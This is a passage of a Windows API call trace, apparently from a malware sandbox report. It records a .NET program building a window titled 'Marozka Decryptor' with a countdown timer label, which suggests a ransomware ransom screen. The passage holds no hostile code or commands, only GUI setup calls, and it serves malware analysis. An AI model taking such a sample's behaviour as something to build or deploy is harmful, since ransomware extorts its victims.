(ho=0x3f0a071a) returned 1 [0153.999] GetMapMode (hdc=0x8e0106dd) returned 1 [0153.999] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e6d8 | out: lptm=0x19e6d8) returned 1 [0154.001] DrawTextExW (in: hdc=0x8e0106dd, lpchText="j^", cchText=2, lprc=0x19e7e4, format=0x420, lpdtp=0x2fd4f60 | out: lpchText="j^", lprc=0x19e7e4) returned 22 [0154.053] GdipGetFamilyName (in: family=0x57faee0, name=0x19e718, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0154.053] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0154.053] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0154.053] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x400a071a [0154.053] CoTaskMemFree (pv=0xeeb0f0) [0154.053] GetObjectW (in: h=0x400a071a, c=92, pv=0x19e6dc | out: pv=0x19e6dc) returned 92 [0154.054] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fd510c | out: psizl=0x2fd510c) returned 1 [0154.054] DeleteObject (ho=0x400a071a) returned 1 [0154.054] GetSystemMetrics (nIndex=45) returned 2 [0154.054] GetSystemMetrics (nIndex=46) returned 2 [0154.054] GetSystemMetrics (nIndex=7) returned 3 [0154.054] GetSystemMetrics (nIndex=8) returned 3 [0154.054] GetClassInfoW (in: hInstance=0x0, lpClassName="COMBOBOX", lpWndClass=0x2fd5190 | out: lpWndClass=0x2fd5190) returned 1 [0154.055] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.056] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0154.056] RegisterClassW (lpWndClass=0x19e7ac) returned 0xc178 [0154.056] CoTaskMemFree (pv=0xeeafb8) [0154.056] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.056] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.COMBOBOX.app.0.141b42a_r11_ad1", lpWindowName="English", dwStyle=0x56210242, X=697, Y=12, nWidth=121, nHeight=30, hWndParent=0x1022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10230 [0154.057] SetWindowLongW (hWnd=0x10230, nIndex=-4, dwNewLong=1876096512) returned 88375174 [0154.057] GetWindowLongW (hWnd=0x10230, nIndex=-4) returned 1876096512 [0154.057] SetWindowLongW (hWnd=0x10230, nIndex=-4, dwNewLong=88374974) returned 1876096512 [0154.057] GetWindowLongW (hWnd=0x10230, nIndex=-4) returned 88374974 [0154.057] GetWindowLongW (hWnd=0x10230, nIndex=-16) returned 1176568386 [0154.057] GetWindowLongW (hWnd=0x10230, nIndex=-12) returned 0 [0154.057] SetWindowLongW (hWnd=0x10230, nIndex=-12, dwNewLong=66096) returned 0 [0154.057] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x81, wParam=0x0, lParam=0x19e318) returned 0x1 [0154.058] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dc7c) returned 0x0 [0154.083] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dc7c) returned 0xffffffff [0154.083] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dc7c) returned 0x0 [0154.084] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dc7c) returned 0xffffffff [0154.084] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x7c, wParam=0xffffffec, lParam=0x19dc7c) returned 0x0 [0154.084] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x7d, wParam=0xffffffec, lParam=0x19dc7c) returned 0xffffffff [0154.084] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x83, wParam=0x0, lParam=0x19e304) returned 0x0 [0154.085] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x1, wParam=0x0, lParam=0x19e318) returned 0x10230 [0154.097] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x210, wParam=0x3e80001, lParam=0x10232) returned 0x1 [0154.097] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x210, wParam=0x3e80001, lParam=0x10232) returned 0x0 [0154.102] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x55, wParam=0x10234, lParam=0x3) returned 0x2 [0154.102] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0154.103] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x210, wParam=0x3e90001, lParam=0x10234) returned 0x1 [0154.103] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x210, wParam=0x3e90001, lParam=0x10234) returned 0x0 [0154.113] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x46, wParam=0x0, lParam=0x19dc2c) returned 0x1 [0154.113] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x83, wParam=0x1, lParam=0x19dc04) returned 0x0 [0154.114] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x47, wParam=0x0, lParam=0x19dc2c) returned 0x0 [0154.114] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x5, wParam=0x0, lParam=0x180079) returned 0x0 [0154.114] GetClientRect (in: hWnd=0x10230, lpRect=0x19d810 | out: lpRect=0x19d810) returned 1 [0154.114] GetWindowRect (in: hWnd=0x10230, lpRect=0x19d810 | out: lpRect=0x19d810) returned 1 [0154.115] GetParent (hWnd=0x10230) returned 0x1022c [0154.115] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19d810, cPoints=0x2 | out: lpPoints=0x19d810) returned -9961777 [0154.115] GetParent (hWnd=0x10230) returned 0x1022c [0154.118] GetWindow (hWnd=0x10230, uCmd=0x3) returned 0x1022e [0154.118] GetClientRect (in: hWnd=0x10230, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0154.118] GetWindowRect (in: hWnd=0x10230, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0154.118] GetParent (hWnd=0x10230) returned 0x1022c [0154.118] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19dee8, cPoints=0x2 | out: lpPoints=0x19dee8) returned -9961777 [0154.118] GetDC (hWnd=0x0) returned 0x1b010670 [0154.118] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19dd04) returned 0x0 [0154.119] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0154.119] GdipGetLogFontW (font=0x6911be0, graphics=0x6915b28, logfontW=0xeeb088) returned 0x0 [0154.119] CoTaskMemFree (pv=0xeeb088) [0154.119] CoTaskMemAlloc (cb=0x5c) returned 0xeeadb0 [0154.119] CoTaskMemFree (pv=0xeeadb0) [0154.119] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0154.119] CoTaskMemFree (pv=0xeeb290) [0154.119] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0154.119] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0154.120] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0154.120] CreateFontIndirectW (lplf=0xeeb088) returned 0x5e0a06c7 [0154.120] CoTaskMemFree (pv=0xeeb088) [0154.120] SendMessageW (hWnd=0x10230, Msg=0x30, wParam=0x5e0a06c7, lParam=0x0) returned 0x1 [0154.120] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x30, wParam=0x5e0a06c7, lParam=0x0) returned 0x1 [0154.123] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x46, wParam=0x0, lParam=0x19d77c) returned 0x1 [0154.123] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x83, wParam=0x1, lParam=0x19d754) returned 0x0 [0154.124] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x47, wParam=0x0, lParam=0x19d77c) returned 0x0 [0154.124] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x5, wParam=0x0, lParam=0x1e0079) returned 0x0 [0154.124] GetClientRect (in: hWnd=0x10230, lpRect=0x19d360 | out: lpRect=0x19d360) returned 1 [0154.124] GetWindowRect (in: hWnd=0x10230, lpRect=0x19d360 | out: lpRect=0x19d360) returned 1 [0154.124] GetParent (hWnd=0x10230) returned 0x1022c [0154.124] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19d360, cPoints=0x2 | out: lpPoints=0x19d360) returned -9961777 [0154.124] GetParent (hWnd=0x10230) returned 0x1022c [0154.128] SetWindowTextW (hWnd=0x10230, lpString="English") returned 1 [0154.128] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0xc, wParam=0x0, lParam=0x2f8cc90) returned 0x1 [0154.128] GetWindow (hWnd=0x10230, uCmd=0x5) returned 0x10234 [0154.128] GetWindowLongW (hWnd=0x10234, nIndex=-4) returned 1876218976 [0154.129] SetWindowLongW (hWnd=0x10234, nIndex=-4, dwNewLong=88375294) returned 1876218976 [0154.129] GetWindowLongW (hWnd=0x10234, nIndex=-4) returned 88375294 [0154.129] GetWindowLongW (hWnd=0x10234, nIndex=-16) returned 1342178176 [0154.129] GetWindowLongW (hWnd=0x10234, nIndex=-12) returned 1001 [0154.129] SendMessageW (hWnd=0x10234, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0154.129] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0154.129] SendMessageW (hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c8d8) returned 0x0 [0154.129] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c8d8) returned 0x0 [0154.133] SendMessageW (hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c8f4) returned 0x1 [0154.133] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c8f4) returned 0x1 [0154.139] SendMessageW (hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c910) returned 0x2 [0154.139] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c910) returned 0x2 [0154.152] SendMessageW (hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c92c) returned 0x3 [0154.152] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c92c) returned 0x3 [0154.162] SendMessageW (hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c948) returned 0x4 [0154.162] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x143, wParam=0x0, lParam=0x2f8c948) returned 0x4 [0154.229] SendMessageW (hWnd=0x10230, Msg=0x14e, wParam=0x1, lParam=0x0) returned 0x1 [0154.229] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x14e, wParam=0x1, lParam=0x0) returned 0x1 [0154.230] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0xc, wParam=0x0, lParam=0xf22f50) returned 0x1 [0154.230] SendMessageW (hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.230] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.230] SendMessageW (hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.230] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.230] SendMessageW (hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.230] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.231] GetWindowTextLengthW (hWnd=0x10230) returned 7 [0154.231] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0154.231] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0154.231] GetSystemMetrics (nIndex=42) returned 0 [0154.231] GetWindowTextW (in: hWnd=0x10230, lpString=0x19ddb0, nMaxCount=8 | out: lpString="English") returned 7 [0154.231] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0xd, wParam=0x8, lParam=0x19ddb0) returned 0x7 [0154.231] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0xd, wParam=0x8, lParam=0x19ddb0) returned 0x7 [0154.231] SendMessageW (hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.231] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0154.231] SendMessageW (hWnd=0x10234, Msg=0xc, wParam=0x0, lParam=0x2f8c8f4) returned 0x1 [0154.231] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0xc, wParam=0x0, lParam=0x2f8c8f4) returned 0x1 [0154.232] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x5, wParam=0x0, lParam=0x1e0079) returned 0x0 [0154.232] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x3, wParam=0x0, lParam=0xc02b9) returned 0x0 [0154.232] GetClientRect (in: hWnd=0x10230, lpRect=0x19df40 | out: lpRect=0x19df40) returned 1 [0154.232] GetWindowRect (in: hWnd=0x10230, lpRect=0x19df40 | out: lpRect=0x19df40) returned 1 [0154.232] GetParent (hWnd=0x10230) returned 0x1022c [0154.232] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19df40, cPoints=0x2 | out: lpPoints=0x19df40) returned -9961777 [0154.232] SendMessageW (hWnd=0x10230, Msg=0x2210, wParam=0x2300001, lParam=0x10230) returned 0x0 [0154.232] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x2210, wParam=0x2300001, lParam=0x10230) returned 0x0 [0154.233] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.233] GetParent (hWnd=0x10230) returned 0x1022c [0154.233] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0154.233] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.233] GetSystemMetrics (nIndex=42) returned 0 [0154.233] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e834, nMaxCount=1 | out: lpString="") returned 0 [0154.233] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e834) returned 0x0 [0154.233] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0154.233] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.234] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.234] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="00:00:00", dwStyle=0x5600000d, X=25, Y=14, nWidth=154, nHeight=50, hWndParent=0x1022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10236 [0154.234] SetWindowLongW (hWnd=0x10236, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.234] GetWindowLongW (hWnd=0x10236, nIndex=-4) returned 1876339648 [0154.235] SetWindowLongW (hWnd=0x10236, nIndex=-4, dwNewLong=88375374) returned 1876339648 [0154.235] GetWindowLongW (hWnd=0x10236, nIndex=-4) returned 88375374 [0154.235] GetWindowLongW (hWnd=0x10236, nIndex=-16) returned 1174405133 [0154.235] GetWindowLongW (hWnd=0x10236, nIndex=-12) returned 0 [0154.235] SetWindowLongW (hWnd=0x10236, nIndex=-12, dwNewLong=66102) returned 0 [0154.235] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0154.236] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0154.236] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0154.236] GetWindow (hWnd=0x10236, uCmd=0x3) returned 0x10230 [0154.236] GetClientRect (in: hWnd=0x10236, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0154.236] GetWindowRect (in: hWnd=0x10236, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0154.236] GetParent (hWnd=0x10236) returned 0x1022c [0154.236] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19dff4, cPoints=0x2 | out: lpPoints=0x19dff4) returned -9961777 [0154.237] SetWindowTextW (hWnd=0x10236, lpString="00:00:00") returned 1 [0154.237] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0xc, wParam=0x0, lParam=0x2f917f0) returned 0x1 [0154.237] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x5, wParam=0x0, lParam=0x32009a) returned 0x0 [0154.237] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x3, wParam=0x0, lParam=0xe0019) returned 0x0 [0154.237] GetClientRect (in: hWnd=0x10236, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0154.237] GetWindowRect (in: hWnd=0x10236, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0154.237] GetParent (hWnd=0x10236) returned 0x1022c [0154.237] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e04c, cPoints=0x2 | out: lpPoints=0x19e04c) returned -9961777 [0154.237] SendMessageW (hWnd=0x10236, Msg=0x2210, wParam=0x2360001, lParam=0x10236) returned 0x0 [0154.238] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x2210, wParam=0x2360001, lParam=0x10236) returned 0x0 [0154.238] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.238] GetParent (hWnd=0x10236) returned 0x1022c [0154.238] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0154.238] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.239] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.239] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Name", dwStyle=0x5600000d, X=383, Y=6, nWidth=91, nHeight=33, hWndParent=0x1022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10238 [0154.239] SetWindowLongW (hWnd=0x10238, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.239] GetWindowLongW (hWnd=0x10238, nIndex=-4) returned 1876339648 [0154.239] SetWindowLongW (hWnd=0x10238, nIndex=-4, dwNewLong=88377638) returned 1876339648 [0154.240] GetWindowLongW (hWnd=0x10238, nIndex=-4) returned 88377638 [0154.240] GetWindowLongW (hWnd=0x10238, nIndex=-16) returned 1174405133 [0154.240] GetWindowLongW (hWnd=0x10238, nIndex=-12) returned 0 [0154.240] SetWindowLongW (hWnd=0x10238, nIndex=-12, dwNewLong=66104) returned 0 [0154.240] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0154.240] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0154.241] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0154.241] GetWindow (hWnd=0x10238, uCmd=0x3) returned 0x10236 [0154.241] GetClientRect (in: hWnd=0x10238, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0154.241] GetWindowRect (in: hWnd=0x10238, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0154.241] GetParent (hWnd=0x10238) returned 0x1022c [0154.241] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19dff4, cPoints=0x2 | out: lpPoints=0x19dff4) returned -9961777 [0154.241] SetWindowTextW (hWnd=0x10238, lpString="Name") returned 1 [0154.241] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0xc, wParam=0x0, lParam=0x2f924ac) returned 0x1 [0154.242] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x5, wParam=0x0, lParam=0x21005b) returned 0x0 [0154.242] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x3, wParam=0x0, lParam=0x6017f) returned 0x0 [0154.242] GetClientRect (in: hWnd=0x10238, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0154.242] GetWindowRect (in: hWnd=0x10238, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0154.242] GetParent (hWnd=0x10238) returned 0x1022c [0154.242] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e04c, cPoints=0x2 | out: lpPoints=0x19e04c) returned -9961777 [0154.242] SendMessageW (hWnd=0x10238, Msg=0x2210, wParam=0x2380001, lParam=0x10238) returned 0x0 [0154.242] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x2210, wParam=0x2380001, lParam=0x10238) returned 0x0 [0154.243] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.243] GetParent (hWnd=0x10238) returned 0x1022c [0154.243] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0154.243] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.244] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.244] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Helloy - ", dwStyle=0x5600000d, X=255, Y=6, nWidth=122, nHeight=33, hWndParent=0x1022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1023a [0154.244] SetWindowLongW (hWnd=0x1023a, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.244] GetWindowLongW (hWnd=0x1023a, nIndex=-4) returned 1876339648 [0154.245] SetWindowLongW (hWnd=0x1023a, nIndex=-4, dwNewLong=88377038) returned 1876339648 [0154.245] GetWindowLongW (hWnd=0x1023a, nIndex=-4) returned 88377038 [0154.245] GetWindowLongW (hWnd=0x1023a, nIndex=-16) returned 1174405133 [0154.245] GetWindowLongW (hWnd=0x1023a, nIndex=-12) returned 0 [0154.245] SetWindowLongW (hWnd=0x1023a, nIndex=-12, dwNewLong=66106) returned 0 [0154.245] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0154.245] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0154.246] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0154.246] GetWindow (hWnd=0x1023a, uCmd=0x3) returned 0x10238 [0154.246] GetClientRect (in: hWnd=0x1023a, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0154.246] GetWindowRect (in: hWnd=0x1023a, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0154.246] GetParent (hWnd=0x1023a) returned 0x1022c [0154.246] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19dff4, cPoints=0x2 | out: lpPoints=0x19dff4) returned -9961777 [0154.246] SetWindowTextW (hWnd=0x1023a, lpString="Helloy - ") returned 1 [0154.246] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0xc, wParam=0x0, lParam=0x2f92fc8) returned 0x1 [0154.247] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x5, wParam=0x0, lParam=0x21007a) returned 0x0 [0154.247] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x3, wParam=0x0, lParam=0x600ff) returned 0x0 [0154.247] GetClientRect (in: hWnd=0x1023a, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0154.247] GetWindowRect (in: hWnd=0x1023a, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0154.247] GetParent (hWnd=0x1023a) returned 0x1022c [0154.247] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e04c, cPoints=0x2 | out: lpPoints=0x19e04c) returned -9961777 [0154.247] SendMessageW (hWnd=0x1023a, Msg=0x2210, wParam=0x23a0001, lParam=0x1023a) returned 0x0 [0154.247] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x2210, wParam=0x23a0001, lParam=0x1023a) returned 0x0 [0154.247] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.248] GetParent (hWnd=0x1023a) returned 0x1022c [0154.248] GetWindowTextLengthW (hWnd=0x40078) returned 17 [0154.248] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.248] GetSystemMetrics (nIndex=42) returned 0 [0154.248] GetWindowTextW (in: hWnd=0x40078, lpString=0x19e8f8, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.248] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xd, wParam=0x12, lParam=0x19e8f8) returned 0x11 [0154.248] CoTaskMemAlloc (cb=0xbf) returned 0xf67a58 [0154.254] CoTaskMemAlloc (cb=0x12) returned 0xf20828 [0154.258] EnumThreadWindows (dwThreadId=0x390, lpfn=0x5448746, lParam=0x40078) returned 1 [0154.274] GetWindowLongW (hWnd=0x40078, nIndex=-8) returned 0 [0154.274] GetWindowLongW (hWnd=0x10232, nIndex=-8) returned 0 [0154.274] GetWindowLongW (hWnd=0x70030, nIndex=-8) returned 0 [0154.274] GetWindowLongW (hWnd=0xa0052, nIndex=-8) returned 655434 [0154.274] GetWindowLongW (hWnd=0xa004a, nIndex=-8) returned 262264 [0154.306] SetWindowLongW (hWnd=0xa004a, nIndex=-8, dwNewLong=0) returned 262264 [0154.310] GetParent (hWnd=0x40078) returned 0x0 [0154.310] GetWindowThreadProcessId (in: hWnd=0x7004e, lpdwProcessId=0x19e888 | out: lpdwProcessId=0x19e888) returned 0x390 [0154.312] GetCurrentActCtx (in: lphActCtx=0x19e7f0 | out: lphActCtx=0x19e7f0*=0xef1264) returned 1 [0154.312] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.312] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.312] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="WindowsFormsParkingWindow", dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1023c [0154.313] SetWindowLongW (hWnd=0x1023c, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.313] GetWindowLongW (hWnd=0x1023c, nIndex=-4) returned 1952448832 [0154.313] SetWindowLongW (hWnd=0x1023c, nIndex=-4, dwNewLong=88377358) returned 1952448832 [0154.313] GetWindowLongW (hWnd=0x1023c, nIndex=-4) returned 88377358 [0154.313] GetWindowLongW (hWnd=0x1023c, nIndex=-16) returned 113311744 [0154.313] CallWindowProcW 